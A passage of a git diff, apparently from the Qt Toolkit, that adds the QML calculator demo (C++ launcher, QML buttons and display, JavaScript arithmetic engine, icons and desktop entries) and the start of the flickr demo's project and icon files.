-10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/demos/declarative/calculator/calculator64.png b/demos/declarative/calculator/calculator64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/demos/declarative/calculator/calculator64.png
Binary files differ
diff --git a/demos/declarative/calculator/calculator80.png b/demos/declarative/calculator/calculator80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/demos/declarative/calculator/calculator80.png
Binary files differ
diff --git a/demos/declarative/calculator/calculator_harmattan.desktop b/demos/declarative/calculator/calculator_harmattan.desktop
new file mode 100644
index 00000000..574521d8
--- /dev/null
+++ b/demos/declarative/calculator/calculator_harmattan.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=calculator
+Exec=/usr/bin/single-instance /opt/calculator/bin/calculator
+Icon=/usr/share/icons/hicolor/80x80/apps/calculator80.png
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/calculator/main.cpp b/demos/declarative/calculator/main.cpp
new file mode 100644
index 00000000..cb79f857
--- /dev/null
+++ b/demos/declarative/calculator/main.cpp
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+#include <QtCore/QDebug>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ qDebug() << "NOTE: The runtime property and the Orientation enum are only available"
+ << "through qmlviewer and are not available in the complied version.\n"
+ << "Run 'qmlviewer calculator.qmlproject' or load 'calculator.qmlproject'"
+ << "in Qt Creator and run the project.";
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/calculator/calculator.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/Button.qml b/demos/declarative/calculator/qml/calculator/CalculatorCore/Button.qml
new file mode 100644
index 00000000..270a3da1
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/Button.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+BorderImage {
+ id: button
+
+ property alias operation: buttonText.text
+ property string color: ""
+
+ signal clicked
+
+ source: "images/button-" + color + ".png"; clip: true
+ border { left: 10; top: 10; right: 10; bottom: 10 }
+
+ Rectangle {
+ id: shade
+ anchors.fill: button; radius: 10; color: "black"; opacity: 0
+ }
+
+ Text {
+ id: buttonText
+ anchors.centerIn: parent; anchors.verticalCenterOffset: -1
+ font.pixelSize: parent.width > parent.height ? parent.height * .5 : parent.width * .5
+ style: Text.Sunken; color: "white"; styleColor: "black"; smooth: true
+ }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: {
+ doOp(operation)
+ button.clicked()
+ }
+ }
+
+ states: State {
+ name: "pressed"; when: mouseArea.pressed == true
+ PropertyChanges { target: shade; opacity: .4 }
+ }
+}
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/Display.qml b/demos/declarative/calculator/qml/calculator/CalculatorCore/Display.qml
new file mode 100644
index 00000000..351c638b
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/Display.qml
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+BorderImage {
+ id: image
+
+ property alias text : displayText.text
+ property alias currentOperation : operationText
+
+ source: "images/display.png"
+ border { left: 10; top: 10; right: 10; bottom: 10 }
+
+ Text {
+ id: displayText
+ anchors {
+ right: parent.right; verticalCenter: parent.verticalCenter; verticalCenterOffset: -1
+ rightMargin: 6; left: operationText.right
+ }
+ font.pixelSize: parent.height * .6; text: "0"; horizontalAlignment: Text.AlignRight; elide: Text.ElideRight
+ color: "#343434"; smooth: true; font.bold: true
+ }
+ Text {
+ id: operationText
+ font.bold: true; font.pixelSize: parent.height * .7
+ color: "#343434"; smooth: true
+ anchors { left: parent.left; leftMargin: 6; verticalCenterOffset: -3; verticalCenter: parent.verticalCenter }
+ }
+}
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/calculator.js b/demos/declarative/calculator/qml/calculator/CalculatorCore/calculator.js
new file mode 100644
index 00000000..7c363c7f
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/calculator.js
@@ -0,0 +1,91 @@
+
+var curVal = 0
+var memory = 0
+var lastOp = ""
+var timer = 0
+
+function disabled(op) {
+ if (op == "." && display.text.toString().search(/\./) != -1) {
+ return true
+ } else if (op == squareRoot && display.text.toString().search(/-/) != -1) {
+ return true
+ } else {
+ return false
+ }
+}
+
+function doOperation(op) {
+ if (disabled(op)) {
+ return
+ }
+
+ if (op.toString().length==1 && ((op >= "0" && op <= "9") || op==".") ) {
+ if (display.text.toString().length >= 14)
+ return; // No arbitrary length numbers
+ if (lastOp.toString().length == 1 && ((lastOp >= "0" && lastOp <= "9") || lastOp == ".") ) {
+ display.text = display.text + op.toString()
+ } else {
+ display.text = op
+ }
+ lastOp = op
+ return
+ }
+ lastOp = op
+
+ if (display.currentOperation.text == "+") {
+ display.text = Number(display.text.valueOf()) + Number(curVal.valueOf())
+ } else if (display.currentOperation.text == "-") {
+ display.text = Number(curVal) - Number(display.text.valueOf())
+ } else if (display.currentOperation.text == multiplication) {
+ display.text = Number(curVal) * Number(display.text.valueOf())
+ } else if (display.currentOperation.text == division) {
+ display.text = Number(Number(curVal) / Number(display.text.valueOf())).toString()
+ } else if (display.currentOperation.text == "=") {
+ }
+
+ if (op == "+" || op == "-" || op == multiplication || op == division) {
+ display.currentOperation.text = op
+ curVal = display.text.valueOf()
+ return
+ }
+
+ curVal = 0
+ display.currentOperation.text = ""
+
+ if (op == "1/x") {
+ display.text = (1 / display.text.valueOf()).toString()
+ } else if (op == "x^2") {
+ display.text = (display.text.valueOf() * display.text.valueOf()).toString()
+ } else if (op == "Abs") {
+ display.text = (Math.abs(display.text.valueOf())).toString()
+ } else if (op == "Int") {
+ display.text = (Math.floor(display.text.valueOf())).toString()
+ } else if (op == plusminus) {
+ display.text = (display.text.valueOf() * -1).toString()
+ } else if (op == squareRoot) {
+ display.text = (Math.sqrt(display.text.valueOf())).toString()
+ } else if (op == "mc") {
+ memory = 0;
+ } else if (op == "m+") {
+ memory += display.text.valueOf()
+ } else if (op == "mr") {
+ display.text = memory.toString()
+ } else if (op == "m-") {
+ memory = display.text.valueOf()
+ } else if (op == leftArrow) {
+ display.text = display.text.toString().slice(0, -1)
+ if (display.text.length == 0) {
+ display.text = "0"
+ }
+ } else if (op == "Off") {
+ Qt.quit();
+ } else if (op == "C") {
+ display.text = "0"
+ } else if (op == "AC") {
+ curVal = 0
+ memory = 0
+ lastOp = ""
+ display.text ="0"
+ }
+}
+
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-.png b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-.png
new file mode 100644
index 00000000..544e5145
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-.png
Binary files differ
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-blue.png b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-blue.png
new file mode 100644
index 00000000..5f92de32
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-blue.png
Binary files differ
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-green.png b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-green.png
new file mode 100644
index 00000000..36c93914
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-green.png
Binary files differ
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-purple.png b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-purple.png
new file mode 100644
index 00000000..347cbbea
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-purple.png
Binary files differ
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-red.png b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-red.png
new file mode 100644
index 00000000..3b335891
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-red.png
Binary files differ
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/images/display.png b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/display.png
new file mode 100644
index 00000000..9507f438
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/images/display.png
Binary files differ
diff --git a/demos/declarative/calculator/qml/calculator/CalculatorCore/qmldir b/demos/declarative/calculator/qml/calculator/CalculatorCore/qmldir
new file mode 100644
index 00000000..a926b93f
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/CalculatorCore/qmldir
@@ -0,0 +1,2 @@
+Button Button.qml
+Display Display.qml
diff --git a/demos/declarative/calculator/qml/calculator/calculator.qml b/demos/declarative/calculator/qml/calculator/calculator.qml
new file mode 100644
index 00000000..c5072991
--- /dev/null
+++ b/demos/declarative/calculator/qml/calculator/calculator.qml
@@ -0,0 +1,162 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "CalculatorCore"
+import "CalculatorCore/calculator.js" as CalcEngine
+
+Rectangle {
+ id: window
+
+ width: 360; height: 480
+ color: "#282828"
+
+ property string rotateLeft: "\u2939"
+ property string rotateRight: "\u2935"
+ property string leftArrow: "\u2190"
+ property string division : "\u00f7"
+ property string multiplication : "\u00d7"
+ property string squareRoot : "\u221a"
+ property string plusminus : "\u00b1"
+
+ function doOp(operation) { CalcEngine.doOperation(operation) }
+
+ Item {
+ id: main
+ state: "orientation " + runtime.orientation
+
+ property bool landscapeWindow: window.width > window.height
+ property real baseWidth: landscapeWindow ? window.height : window.width
+ property real baseHeight: landscapeWindow ? window.width : window.height
+ property real rotationDelta: landscapeWindow ? -90 : 0
+
+ rotation: rotationDelta
+ width: main.baseWidth
+ height: main.baseHeight
+ anchors.centerIn: parent
+
+ Column {
+ id: box; spacing: 8
+
+ anchors { fill: parent; topMargin: 6; bottomMargin: 6; leftMargin: 6; rightMargin: 6 }
+
+ Display {
+ id: display
+ width: box.width-3
+ height: 64
+ }
+
+ Column {
+ id: column; spacing: 6
+
+ property real h: ((box.height - 72) / 6) - ((spacing * (6 - 1)) / 6)
+ property real w: (box.width / 4) - ((spacing * (4 - 1)) / 4)
+
+ Row {
+ spacing: 6
+ Button { width: column.w; height: column.h; color: 'purple'; operation: "Off" }
+ Button { width: column.w; height: column.h; color: 'purple'; operation: leftArrow }
+ Button { width: column.w; height: column.h; color: 'purple'; operation: "C" }
+ Button { width: column.w; height: column.h; color: 'purple'; operation: "AC" }
+ }
+
+ Row {
+ spacing: 6
+ property real w: (box.width / 4) - ((spacing * (4 - 1)) / 4)
+
+ Button { width: column.w; height: column.h; color: 'green'; operation: "mc" }
+ Button { width: column.w; height: column.h; color: 'green'; operation: "m+" }
+ Button { width: column.w; height: column.h; color: 'green'; operation: "m-" }
+ Button { width: column.w; height: column.h; color: 'green'; operation: "mr" }
+ }
+
+ Grid {
+ id: grid; rows: 5; columns: 5; spacing: 6
+
+ property real w: (box.width / columns) - ((spacing * (columns - 1)) / columns)
+
+ Button { width: grid.w; height: column.h; operation: "7"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: "8"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: "9"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: division }
+ Button { width: grid.w; height: column.h; operation: squareRoot }
+ Button { width: grid.w; height: column.h; operation: "4"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: "5"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: "6"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: multiplication }
+ Button { width: grid.w; height: column.h; operation: "x^2" }
+ Button { width: grid.w; height: column.h; operation: "1"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: "2"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: "3"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: "-" }
+ Button { width: grid.w; height: column.h; operation: "1/x" }
+ Button { width: grid.w; height: column.h; operation: "0"; color: 'blue' }
+ Button { width: grid.w; height: column.h; operation: "." }
+ Button { width: grid.w; height: column.h; operation: plusminus }
+ Button { width: grid.w; height: column.h; operation: "+" }
+ Button { width: grid.w; height: column.h; operation: "="; color: 'red' }
+ }
+ }
+ }
+
+ states: [
+ State {
+ name: "orientation " + Orientation.Landscape
+ PropertyChanges { target: main; rotation: 90 + rotationDelta; width: main.baseHeight; height: main.baseWidth }
+ },
+ State {
+ name: "orientation " + Orientation.PortraitInverted
+ PropertyChanges { target: main; rotation: 180 + rotationDelta; }
+ },
+ State {
+ name: "orientation " + Orientation.LandscapeInverted
+ PropertyChanges { target: main; rotation: 270 + rotationDelta; width: main.baseHeight; height: main.baseWidth }
+ }
+ ]
+
+ transitions: Transition {
+ SequentialAnimation {
+ RotationAnimation { direction: RotationAnimation.Shortest; duration: 300; easing.type: Easing.InOutQuint }
+ NumberAnimation { properties: "x,y,width,height"; duration: 300; easing.type: Easing.InOutQuint }
+ }
+ }
+ }
+}
diff --git a/demos/declarative/declarative.pro b/demos/declarative/declarative.pro
new file mode 100644
index 00000000..33803579
--- /dev/null
+++ b/demos/declarative/declarative.pro
@@ -0,0 +1,15 @@
+TEMPLATE = subdirs
+
+# These demos contain C++ and need to be compiled
+SUBDIRS = \
+ calculator \
+ flickr \
+ photoviewer \
+ minehunt \
+ samegame \
+ snake \
+ rssnews \
+ twitter
+
+contains(QT_CONFIG, webkit):SUBDIRS += webbrowser
+
diff --git a/demos/declarative/demos.qmlproject b/demos/declarative/demos.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/demos/declarative/demos.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/flickr/flickr.desktop b/demos/declarative/flickr/flickr.desktop
new file mode 100644
index 00000000..8467f39b
--- /dev/null
+++ b/demos/declarative/flickr/flickr.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=flickr
+Exec=/opt/flickr/bin/flickr
+Icon=flickr64
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/flickr/flickr.pro b/demos/declarative/flickr/flickr.pro
new file mode 100644
index 00000000..d607fa0b
--- /dev/null
+++ b/demos/declarative/flickr/flickr.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/flickr
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE6E2201E
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_DEMOS]/declarative/flickr
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/demos/declarative/flickr/flickr.qmlproject b/demos/declarative/flickr/flickr.qmlproject
new file mode 100644
index 00000000..3a6d8210
--- /dev/null
+++ b/demos/declarative/flickr/flickr.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/flickr"
+ }
+ JavaScriptFiles {
+ directory: "qml/flickr"
+ }
+ ImageFiles {
+ directory: "qml/flickr"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/flickr/flickr.svg b/demos/declarative/flickr/flickr.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/demos/declarative/flickr/flickr.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
